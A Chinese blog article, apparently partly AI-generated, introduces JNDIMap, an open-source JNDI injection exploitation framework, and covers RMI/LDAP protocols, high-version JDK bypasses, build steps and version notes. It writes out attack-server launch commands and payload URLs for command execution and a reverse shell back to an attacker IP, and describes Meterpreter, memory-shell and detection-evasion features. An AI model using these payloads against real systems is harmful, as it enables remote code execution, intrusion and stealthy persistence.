ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

JNDIMap:一款支持 RMI/LDAP/LDAPS 与高版本 JDK 绕过的一体化 JNDI 注入利用框架

2026/10/3 1:53:51 拓冰建站 浏览量
JNDIMap:一款支持 RMI/LDAP/LDAPS 与高版本 JDK 绕过的一体化 JNDI 注入利用框架 文档知识库网络安全【免费下载链接】404StarLink404StarLink - 推荐优质、有意义、有趣、坚持维护的安全开源项目项目地址https://gitcode.com/GitHub_Trending/40/404StarLink点击查看免费下载导读JNDIMap 是由安全研究员 X1r0z 开发的一款 Java 编写的 JNDI 注入利用框架支持 RMI、LDAP、LDAPS 三种协议并内置 DNSLog、命令执行、反弹 Shell、Meterpreter 上线、自定义字节码加载与内存马注入等实战能力。本文以该框架在 404 星链计划中的项目文档为核心完整讲解从服务端启动、目标端构造 payload到高版本 JDK 绕过手段的原理与用法并给出基于 JDK 8 的源码编译方式帮助读者快速上手这套 JNDI 注入攻击链工具。项目概述JNDIMap 的定位是一个强大的 JNDI 注入利用框架根据 detail/JNDIMap.md 的项目介绍其核心能力体现在两个方面协议覆盖广同时支持 RMI、LDAP 和 LDAPS 协议可适配不同环境下 JNDI 注入点的利用高版本 JDK 绕过内置多种绕过方案用于突破高版本 JDK 对远程加载代码的限制如trustURLCodebase默认关闭后传统 RMI/LDAP 远程类加载路径失效的场景。该项目的技术栈为 Java仓库徽章标注Language-Java当前版本为 V0.0.4作者为 X1r0z于 2025-09-08 加入 404 星链计划见 README.md 与 others.md 中的项目收录记录。JNDI 注入与高版本 JDK 绕过的背景JNDIJava Naming and Directory Interface是 Java 提供的一套命名与目录服务接口InitialContext.lookup()可以根据字符串名称解析并返回远程对象。当应用把用户可控的字符串直接传入lookup()或Reference相关解析逻辑时攻击者即可构造rmi://、ldap://、ldaps://等形式的地址指向自己控制的恶意服务端从而诱导目标 JVM 加载远程代码或反序列化数据——这就是 JNDI 注入的利用前提。为缓解此类攻击较新的 JDK 版本默认关闭了远程 codebase 的信任RMI 侧通过com.sun.jndi.rmi.object.trustURLCodebaseJDK 8u121 默认 falseLDAP 侧通过com.sun.jndi.ldap.object.trustURLCodebaseJDK 8u191/7u201/6u211 默认 false禁用远程对象工厂加载。因此高版本 JDK 绕过成为 JNDI 注入利用框架的核心战场。JNDIMap 将文档所列的各类绕过手段BeanFactory、JDBC RCE、Tomcat Blind XXE、Nashorn/JShell、trustSerialData、UTF-8 Overlong Encoding 等统一集成正是为了在这些限制下仍能完成 RCE 链路。快速上手启动服务端根据 detail/JNDIMap.md 的快速上手说明先在 Release 页面下载 JNDIMap 的可执行 jar运行时通过-i参数指定外部可达的 IP 地址java -jar JNDIMap-version.jar -i 10.0.0.1其中10.0.0.1需要替换为目标机器能够反向访问到的攻击机 IP。-i参数决定了后续 payload 中监听地址的实际可达性是部署阶段必须正确配置的关键参数。在目标机器上构造 payload服务端启动后在存在 JNDI 注入点的目标机器上执行对应的 payload 即可触发利用。文档给出了两种典型示例命令执行RMI 协议默认端口 1099rmi://10.0.0.1:1099/Basic/Command/open -a Calculator反弹 ShellLDAP 协议默认端口 1389ldap://10.0.0.1:1389/Basic/ReverseShell/10.0.0.1/1337从这两条 payload 的 URL 结构可以推断出 JNDIMap 的路径约定协议://攻击机IP:端口/功能类别/动作/参数。其中Basic指基础利用类别Command后跟完整的命令及参数如open -a Calculator即 macOS 下打开计算器ReverseShell后依次跟攻击机 IP 与监听端口如10.0.0.1/1337。实际使用时只需把示例中的 IP、端口替换成自己的环境即可在目标端触发命令执行或反弹 Shell。功能特性全景根据项目文档JNDIMap 的能力清单可以划分为基础利用能力与高级绕过能力两大块下面逐项展开。基础利用能力DNSLog利用 DNS 外带通道验证 JNDI 注入点是否存在或在无回显场景下确认请求是否成功触发适合打点阶段快速确认漏洞可达性命令执行通过Basic/Command类别在目标 JVM 上执行系统命令适用于有回显或无回显的多种场景反弹 Shell通过Basic/ReverseShell类别建立从目标到攻击机的 TCP 反向连接便于交互式操作Meterpreter 上线支持直接生成 Meterpreter 会话将目标纳入 Metasploit 框架的后续渗透链路提权、横向、持久化等加载自定义 Java 字节码允许将自研的 Java class 字节码交给目标 JVM 加载执行用于定制化利用逻辑例如编写专用后门或临时取证代码内存马注入基于 MemShellParty依托 MemShellParty 项目的能力在目标 Web 容器内注入无文件落地的内存马实现隐蔽持久化。高级绕过能力高版本 JDK这部分是 JNDIMap 的核心特色文档明确列出的绕过手段包括BeanFactory 绕过Tomcat/Groovy/XStream 等利用org.springframework.beans.factory.config.BeanFactory作为 LDAP 返回的 Reference 对象工厂在trustURLCodebasefalse的情况下借助目标应用自身 classpath 中已有的 Spring 相关类完成利用链从而规避远程代码库信任限制JDBC RCEMySQL/PostgreSQL/H2/Derby通过 JDBC 连接串触发的 RCE 链覆盖多种常见数据库驱动MySQL 恶意服务端读文件/写文件、PostgreSQL 的 socketFactory 链、H2 的数据库别名执行、Derby 的数据库创建等可在不出网或限制网络出口的场景下完成命令执行Tomcat Blind XXE针对 Tomcat 环境的盲 XXE 利用用于高版本 JDK 下无法直接加载远程类时的替代攻击面LDAP 反序列化包含常用 Gadget利用 LDAP 协议返回序列化对象并配合常见反序列化 Gadget如 Commons-Collections 等在目标端触发反序列化 RCENashorn JS 自定义 JNDI Payload借助 JDK 内置的 Nashorn JavaScript 引擎编写自定义 JNDI payload实现灵活的代码执行逻辑LDAP trustSerialData 绕过针对trustSerialData相关检查的绕过方案用于放宽 LDAP 反序列化链的触发条件JShell Payload 绕过可替代 Nashorn JS Engine在新版本 JDK 中 Nashorn 引擎被移除后改用 JDK 内置的 JShellJava Shell来承载 payload提供等价的代码执行通道UTF-8 Overlong Encoding 绕过利用 UTF-8 超长编码Overlong Encoding构造恶意字符串规避对 payload 特征的检测该能力在 v0.0.4 中新增。源码编译detail/JNDIMap.md 明确指出Release 页面提供的版本可能存在滞后推荐在实际使用时拉取源码自行编译编译环境基于 JDK 8git clone https://github.com/X1r0z/JNDIMap cd JNDIMap mvn package -Dmaven.test.skiptrue两个要点值得注意JDK 8 前提项目基于 JDK 8 构建编译前请确认本机默认 JDK 版本为 8避免因 JDK 版本差异导致编译或运行行为不一致跳过测试-Dmaven.test.skiptrue跳过测试阶段以加速打包产物 jar 生成在target目录下之后即可用前文java -jar JNDIMap-version.jar -i IP的方式启动。版本动态v0.0.4文档记录了 v0.0.42025-11-20的更新内容可作为能力演进的参考新增 UTF-8 Overlong Encoding 绕过利用 UTF-8 超长编码特性构造规避检测的 payload新增 JDK 17 Jackson 反序列化在较新 JDK17环境下补充了基于 Jackson 的反序列化利用面新增在新线程中反弹 Shell反弹 Shell 在独立线程中建立避免阻塞主利用流程维护性改进增加 GitHub Workflow 自动构建保证每次提交都能产出可用的发布产物缓解Release 滞后于源码的问题。参考资料与致谢项目文档在参考 致谢一节中列出了该框架实现所借鉴的一系列安全研究文章与 PoC 工程涵盖的方向包括JNDI 高版本 JDK 绕过与 RMI/LDAP 利用链、Derby 数据库 RCE、FastJson 与原生反序列化、老版本 FastJson 的不出网利用、自定义 ClassLoader 触发 serialVersionUID 冲突反序列化、通过 TLS 代理利用 LDAPS、JRE 17 环境下的 H2 RCE、SwingLazyValue 在 Webshell 中的应用、JNDI 技巧总结以及 UTF-8 Overlong Encoding 原理等。这些资料共同构成了 JNDIMap 各条绕过链与利用逻辑的技术来源深入阅读可进一步理解每条 payload 的底层原理与适用边界。小结JNDIMap 以协议全覆盖 高版本 JDK 绕过集成为核心设计将 RMI/LDAP/LDAPS 三种协议与 DNSLog、命令执行、反弹 Shell、Meterpreter、自定义字节码、内存马注入等利用能力收敛到一个可一键启动的 jar 中。配合-i参数指定外部 IP、Basic/Command与Basic/ReverseShell等路径约定即可快速投入实战同时项目文档建议以源码编译方式获得最新能力JDK 8 Maven。对于需要针对高版本 JDK 环境开展 JNDI 注入测试与利用的读者该框架提供了一条覆盖完整、可扩展的参考实现路径。赞分享文档知识库网络安全【免费下载链接】404StarLink404StarLink - 推荐优质、有意义、有趣、坚持维护的安全开源项目项目地址https://gitcode.com/GitHub_Trending/40/404StarLink点击查看免费下载相关推荐探秘JNDIMap一款强大的Java JNDI调试工具探秘JNDIMap一款强大的Java JNDI调试工具 是一个由X1r0z开发的开源项目它提供了一个直观且功能丰富的界面用于调试和探索Java NaminPayloadsAllTheThings 实战手册LDAP 注入LDAP Injection原理、绕过与自动化利用PayloadsAllTheThings 实战手册LDAP 注入LDAP Injection原理、绕过与自动化利用 LDAP InjectionLDAP网络安全应用安全渗透测试Vulhub 复现Java JDK 8u232_b09 的 RMI Registry 反序列化命令执行绕过Vulhub 复现Java JDK 8u232_b09 的 RMI Registry 反序列化命令执行绕过 Java Remote Method Invo网络安全应用安全渗透测试上一篇CANN Ascend C数据格式转换接口下一篇3个步骤让你的旧款Mac焕发新生OpenCore Legacy Patcher完全指南创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考